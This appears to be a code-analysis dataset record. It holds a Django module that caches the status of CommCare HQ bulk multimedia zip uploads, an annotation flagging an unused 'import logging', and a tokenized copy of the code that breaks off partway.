[ { "content": "import StringIO\nimport logging\nimport zipfile\nfrom django.core.cache import cache\nfrom corehq.apps.hqmedia.models import CommCareImage, CommCareAudio, CommCareVideo\nfrom django.utils.translation import ugettext as _\nfrom soil import DownloadBase\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class BaseMultimediaStatusCache(object):\n upload_type = None\n cache_expiry = 60 * 60 # defaults to one hour\n\n\n\n\n\n\n", "metadata": "root.BaseMultimediaStatusCache", "header": "['module', '___EOS___']", "index": 9 }, { "content": " def __init__(self, processing_id):\n self.processing_id = processing_id\n self.in_celery = False\n self.complete = False\n self.progress = 0\n self.errors = []\n if self.upload_type is None:\n raise NotImplementedError(\"You need to specify an upload type.\")", "metadata": "root.BaseMultimediaStatusCache.__init__", "header": "['class', 'BaseMultimediaStatusCache', '(', 'object', ')', ':', '___EOS___']", "index": 13 }, { "content": " def __str__(self):\n return \"Status of process id %(processing_id)s: %(progress)d%%\" % {\n 'processing_id': self.processing_id,\n 'progress': self.progress,\n }", "metadata": "root.BaseMultimediaStatusCache.__str__", "header": "['class', 'BaseMultimediaStatusCache', '(', 'object', ')', ':', '___EOS___']", "index": 22 }, { "content": " def save(self):\n cache.set(self.get_cache_key(self.processing_id), self, self.cache_expiry)", "metadata": "root.BaseMultimediaStatusCache.save", "header": "['class', 'BaseMultimediaStatusCache', '(', 'object', ')', ':', '___EOS___']", "index": 28 }, { "content": " def mark_with_error(self, error_str):\n self.complete = True\n self.errors.append(error_str)\n self.save()", "metadata": "root.BaseMultimediaStatusCache.mark_with_error", "header": "['class', 'BaseMultimediaStatusCache', '(', 'object', ')', ':', '___EOS___']", "index": 31 }, { "content": " def get_response(self):\n \"\"\"\n Response that gets sent back to the upload controller.\n \"\"\"\n return {\n 'type': self.upload_type,\n 'in_celery': self.in_celery,\n 'complete': self.complete,\n 'progress': self.progress,\n 'errors': self.errors,\n 'processing_id': self.processing_id,\n }", "metadata": "root.BaseMultimediaStatusCache.get_response", "header": "['class', 'BaseMultimediaStatusCache', '(', 'object', ')', ':', '___EOS___']", "index": 36 }, { "content": " @classmethod\n def get_cache_key(cls, processing_id):\n raise NotImplementedError(\"You need to specify a cache_key format for the status.\")", "metadata": "root.BaseMultimediaStatusCache.get_cache_key", "header": "['class', 'BaseMultimediaStatusCache', '(', 'object', ')', ':', '___EOS___']", "index": 49 }, { "content": " @classmethod\n def get(cls, processing_id):\n return cache.get(cls.get_cache_key(processing_id))", "metadata": "root.BaseMultimediaStatusCache.get", "header": "['class', 'BaseMultimediaStatusCache', '(', 'object', ')', ':', '___EOS___']", "index": 53 }, { "content": "class BulkMultimediaStatusCache(BaseMultimediaStatusCache):\n upload_type = \"zip\"\n\n\n\n\n\n\n\n\n\n", "metadata": "root.BulkMultimediaStatusCache", "header": "['module', '___EOS___']", "index": 58 }, { "content": " def __init__(self, processing_id):\n super(BulkMultimediaStatusCache, self).__init__(processing_id)\n self.skipped_files = []\n self.unmatched_files = []\n self.matched_files = dict((m.__name__, []) for m in self.allowed_media)\n self.total_files = None\n self.processed_files = None", "metadata": "root.BulkMultimediaStatusCache.__init__", "header": "['class', 'BulkMultimediaStatusCache', '(', 'BaseMultimediaStatusCache', ')', ':', '___EOS___']", "index": 61 }, { "content": " @property\n def allowed_media(self):\n return [CommCareAudio, CommCareImage, CommCareVideo]", "metadata": "root.BulkMultimediaStatusCache.allowed_media", "header": "['class', 'BulkMultimediaStatusCache', '(', 'BaseMultimediaStatusCache', ')', ':', '___EOS___']", "index": 69 }, { "content": " def get_response(self):\n response = super(BulkMultimediaStatusCache, self).get_response()\n response.update({\n 'unmatched_files': self.unmatched_files,\n 'matched_files': self.matched_files,\n 'total_files': self.total_files,\n 'processed_files': self.processed_files,\n 'skipped_files': self.skipped_files,\n })\n return response", "metadata": "root.BulkMultimediaStatusCache.get_response", "header": "['class', 'BulkMultimediaStatusCache', '(', 'BaseMultimediaStatusCache', ')', ':', '___EOS___']", "index": 73 }, { "content": " def update_progress(self, num_files_processed):\n if self.total_files is None:\n raise ValueError(\"You need to set total_files before you can update progress.\")\n self.processed_files = num_files_processed\n self.progress = int(100 * (float(self.processed_files) / float(self.total_files)))\n if self.progress >= 100:\n self.complete = True\n self.save()", "metadata": "root.BulkMultimediaStatusCache.update_progress", "header": "['class', 'BulkMultimediaStatusCache', '(', 'BaseMultimediaStatusCache', ')', ':', '___EOS___']", "index": 84 }, { "content": " def add_skipped_path(self, path, mimetype):\n self.skipped_files.append({\n 'path': path,\n 'mimetype': mimetype,\n })", "metadata": "root.BulkMultimediaStatusCache.add_skipped_path", "header": "['class', 'BulkMultimediaStatusCache', '(', 'BaseMultimediaStatusCache', ')', ':', '___EOS___']", "index": 93 }, { "content": " def add_unmatched_path(self, path, reason):\n self.unmatched_files.append({\n 'path': path,\n 'reason': reason,\n })", "metadata": "root.BulkMultimediaStatusCache.add_unmatched_path", "header": "['class', 'BulkMultimediaStatusCache', '(', 'BaseMultimediaStatusCache', ')', ':', '___EOS___']", "index": 99 }, { "content": " def add_matched_path(self, media_class, media_info):\n if media_class.__name__ in self.matched_files:\n self.matched_files[media_class.__name__].append(media_info)\n else:\n self.add_unmatched_path(media_info['path'],\n _(\"Not a bulk-upload supported CommCareMedia type: %s\" % media_class.__name__))", "metadata": "root.BulkMultimediaStatusCache.add_matched_path", "header": "['class', 'BulkMultimediaStatusCache', '(', 'BaseMultimediaStatusCache', ')', ':', '___EOS___']", "index": 105 }, { "content": " def _get_upload_file(self):\n saved_file = StringIO.StringIO()\n try:\n saved_ref = DownloadBase.get(self.processing_id)\n data = saved_ref.get_content()\n except Exception as e:\n self.mark_with_error(_(\"Could not fetch cached bulk upload file. Error: %s.\" % e))\n return\n\n saved_file.write(data)\n saved_file.seek(0)\n return saved_file", "metadata": "root.BulkMultimediaStatusCache._get_upload_file", "header": "['class', 'BulkMultimediaStatusCache', '(', 'BaseMultimediaStatusCache', ')', ':', '___EOS___']", "index": 112 }, { "content": " def get_upload_zip(self):\n saved_file = self._get_upload_file()\n\n try:\n uploaded_zip = zipfile.ZipFile(saved_file)\n except Exception as e:\n self.mark_with_error(_(\"Error opening file as zip file: %s\" % e))\n return\n\n if uploaded_zip.testzip():\n self.mark_with_error(_(\"Error encountered processing Zip File. File doesn't look valid.\"))\n return\n\n return uploaded_zip", "metadata": "root.BulkMultimediaStatusCache.get_upload_zip", "header": "['class', 'BulkMultimediaStatusCache', '(', 'BaseMultimediaStatusCache', ')', ':', '___EOS___']", "index": 125 }, { "content": " @classmethod\n def get_cache_key(cls, processing_id):\n return \"MMBULK_%s\" % processing_id", "metadata": "root.BulkMultimediaStatusCache.get_cache_key", "header": "['class', 'BulkMultimediaStatusCache', '(', 'BaseMultimediaStatusCache', ')', ':', '___EOS___']", "index": 140 }, { "content": "class BulkMultimediaStatusCacheNfs(BulkMultimediaStatusCache):\n", "metadata": "root.BulkMultimediaStatusCacheNfs", "header": "['module', '___EOS___']", "index": 145 }, { "content": " def __init__(self, processing_id, file_path):\n super(BulkMultimediaStatusCacheNfs, self).__init__(processing_id)\n self.file_path = file_path", "metadata": "root.BulkMultimediaStatusCacheNfs.__init__", "header": "['class', 'BulkMultimediaStatusCacheNfs', '(', 'BulkMultimediaStatusCache', ')', ':', '___EOS___']", "index": 146 }, { "content": " def _get_upload_file(self):\n return self.file_path", "metadata": "root.BulkMultimediaStatusCacheNfs._get_upload_file", "header": "['class', 'BulkMultimediaStatusCacheNfs', '(', 'BulkMultimediaStatusCache', ')', ':', '___EOS___']", "index": 150 } ]
[ { "span": "import logging", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 14 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "String", "IO_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "zipfile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "core_", "._", "cache_", "import_", "cache_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "core", "hq", "_", "._", "apps_", "._", "hq", "media_", "._", "models_", "import_", "Comm", "Care", "Image_", ",_", "Comm", "Care", "Audio_", ",_", "Comm", "Care", "Video_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "utils_", "._", "translation_", "import_", "ugettext_", "as_", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "soil", "_", "import_", "Down", "load", "Base_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Base", "Multi", "media", "Status", "Cache_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "upload", "\\u", "type_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cache", "\\u", "expiry_", "=_", "60_", "*_", "60_", "#", " ", "default", "s", " ", "to", " ", "one", " ", "hour_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Base", "Multi", "media", "Status", "Cache_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "process", "ing", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "process", "ing", "\\u", "id_", "=_", "process", "ing", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "in", "\\u", "celery_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "complete_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "progress_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "errors_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "upload", "\\u", "type_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Not", "Impl", "ement", "ed", "Error_", "(_", "\"", "You", " ", "need", " ", "to", " ", "speci", "fy", " ", "an", " ", "upload", " ", "type", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Multi", "media", "Status", "Cache_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "str\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\"", "Status", " ", "of", " ", "process", " ", "id", " ", "%", "(", "process", "ing", "\\u", "id", ")", "s", ":", " ", "%", "(", "progress", ")", "d", "%%\"_", "%_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "process", "ing", "\\u", "id", "'_", ":_", "self_", "._", "process", "ing", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "progress", "'_", ":_", "self_", "._", "progress_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Multi", "media", "Status", "Cache_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "save_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cache_", "._", "set_", "(_", "self_", "._", "get", "\\u", "cache", "\\u", "key_", "(_", "self_", "._", "process", "ing", "\\u", "id_", ")_", ",_", "self_", ",_", "self_", "._", "cache", "\\u", "expiry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Multi", "media", "Status", "Cache_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "mark", "\\u", "with", "\\u", "error_", "(_", "self_", ",_", "error", "\\u", "str_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "complete_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "errors_", "._", "append_", "(_", "error", "\\u", "str_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Multi", "media", "Status", "Cache_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "response_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Respons", "e", " ", "tha", "t", " ", "gets", " ", "sent", " ", "back", " ", "to", " ", "the", " ", "upload", " ", "controlle", "r", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "type", "'_", ":_", "self_", "._", "upload", "\\u", "type_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "in", "\\u", "celery", "'_", ":_", "self_", "._", "in", "\\u", "celery_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "complete", "'_", ":_", "self_", "._", "complete_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "progress", "'_", ":_", "self_", "._", "progress_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "error", "s", "'_", ":_", "self_", "._", "errors_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "process", "ing", "\\u", "id", "'_", ":_", "self_", "._", "process", "ing", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Multi", "media", "Status", "Cache_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "cache", "\\u", "key_", "(_", "cls_", ",_", "process", "ing", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Not", "Impl", "ement", "ed", "Error_", "(_", "\"", "You", " ", "need", " ", "to", " ", "speci", "fy", " ", "a", " ", "cache", "\\u", "key", " ", "format", " ", "for", " ", "the", " ", "status", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Multi", "media", "Status", "Cache_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get_", "(_", "cls_", ",_", "process", "ing", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cache_", "._", "get_", "(_", "cls_", "._", "get", "\\u", "cache", "\\u", "key_", "(_", "process", "ing", "\\u", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Bul", "k", "Multi", "media", "Status", "Cache_", "(_", "Base", "Multi", "media", "Status", "Cache_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "upload", "\\u", "type_", "=_", "\"", "zip", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Bul", "k", "Multi", "media", "Status", "Cache_", "(_", "Base", "Multi", "media", "Status", "Cache_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "process", "ing", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Bul", "k", "Multi", "media", "Status", "Cache_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", "process", "ing", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "skip", "ped", "\\u", "files_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "unmatched", "\\u", "files_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "matche", "d\\u", "files_", "=_", "dict_", "(_", "(_", "m_", "._", "\\u\\u", "name\\u\\u_", ",_", "[_", "]_", ")_", "for_", "m_", "in_", "self_", "._", "allow", "ed", "\\u", "media_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "total", "\\u", "files_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "process", "ed", "\\u", "files_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bul", "k", "Multi", "media", "Status", "Cache_", "(_", "Base", "Multi", "media", "Status", "Cache_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "allow", "ed", "\\u", "media_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "[_", "Comm", "Care", "Audio_", ",_", "Comm", "Care", "Image_", ",_", "Comm", "Care", "Video_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bul", "k", "Multi", "media", "Status", "Cache_", "(_", "Base", "Multi", "media", "Status", "Cache_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "response_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "super_", "(_", "Bul", "k", "Multi", "media", "Status", "Cache_", ",_", "self_", ")_", "._", "get", "\\u", "response_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "._", "update_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "unmatched", "\\u", "files", "'_", ":_", "self_", "._", "unmatched", "\\u", "files_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "matche", "d\\u", "files", "'_", ":_", "self_", "._", "matche", "d\\u", "files_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "total", "\\u", "files", "'_", ":_", "self_", "._", "total", "\\u", "files_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "process", "ed", "\\u", "files", "'_", ":_", "self_", "._", "process", "ed", "\\u", "files_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "skip", "ped", "\\u", "files", "'_", ":_", "self_", "._", "skip", "ped", "\\u", "files_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bul", "k", "Multi", "media", "Status", "Cache_", "(_", "Base", "Multi", "media", "Status", "Cache_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "update", "\\u", "progress_", "(_", "self_", ",_", "num", "\\u", "files", "\\u", "processed_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "total", "\\u", "files_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "\"", "You", " ", "need", " ", "to", " ", "set", " ", "total", "\\u", "files", " ", "bef", "ore", " ", "you", " ", "can", " ", "update", " ", "progress", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "process", "ed", "\\u", "files_", "=_", "num", "\\u", "files", "\\u", "processed_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "progress_", "=_", "int_", "(_", "100_", "*_", "(_", "float_", "(_", "self_", "._", "process", "ed", "\\u", "files_", ")_", "/_", "float_", "(_", "self_", "._", "total", "\\u", "files_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "progress_", ">=_", "100_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "complete_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bul", "k", "Multi", "media", "Status", "Cache_", "(_", "Base", "Multi", "media", "Status", "Cache_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "\\u", "skip", "ped", "\\u", "path_", "(_", "self_", ",_", "path_", ",_", "mimetype_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "skip", "ped", "\\u", "files_", "._", "append_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "path", "'_", ":_", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "mime", "type", "'_", ":_", "mimetype_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bul", "k", "Multi", "media", "Status", "Cache_", "(_", "Base", "Multi", "media", "Status", "Cache_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "\\u", "unmatched", "\\u", "path_", "(_", "self_", ",_", "path_", ",_", "reason_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "unmatched", "\\u", "files_", "._", "append_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "path", "'_", ":_", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "reason", "'_", ":_", "reason_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bul", "k", "Multi", "media", "Status", "Cache_", "(_", "Base", "Multi", "media", "Status", "Cache_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "\\u", "matche", "d\\u", "path_", "(_", "self_", ",_", "media", "\\u", "class_", ",_", "media", "\\u", "info_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "media", "\\u", "class_", "._", "\\u\\u", "name\\u\\u_", "in_", "self_", "._", "matche", "d\\u", "files_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "matche", "d\\u", "files_", "[_", "media", "\\u", "class_", "._", "\\u\\u", "name\\u\\u_", "]_", "._", "append_", "(_", "media", "\\u", "info_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "add", "\\u", "unmatched", "\\u", "path_", "(_", "media", "\\u", "info_", "[_", "'", "path", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u_", "(_", "\"", "Not", " ", "a", " ", "bul", "k", "-", "upload", " ", "support", "ed", " ", "Comm", "Care", "Media", " ", "type", ":", " ", "%", "s", "\"_", "%_", "media", "\\u", "class_", "._", "\\u\\u", "name\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bul", "k", "Multi", "media", "Status", "Cache_", "(_", "Base", "Multi", "media", "Status", "Cache_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "get", "\\u", "upload", "\\u", "file_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "saved", "\\u", "file_", "=_", "String", "IO_", "._", "String", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "saved", "\\u", "ref_", "=_", "Down", "load", "Base_", "._", "get_", "(_", "self_", "._", "process", "ing", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "saved", "\\u", "ref_", "._", "get", "\\u", "content_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "mark", "\\u", "with", "\\u", "error_", "(_", "\\u_", "(_", "\"", "Cou", "ld", " ", "not", " ", "fetch", " ", "cache", "d", " ", "bul", "k", " ", "upload", " ", "file", ".", " ", "Error", ":", " ", "%", "s", ".\"_", "%_", "e_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 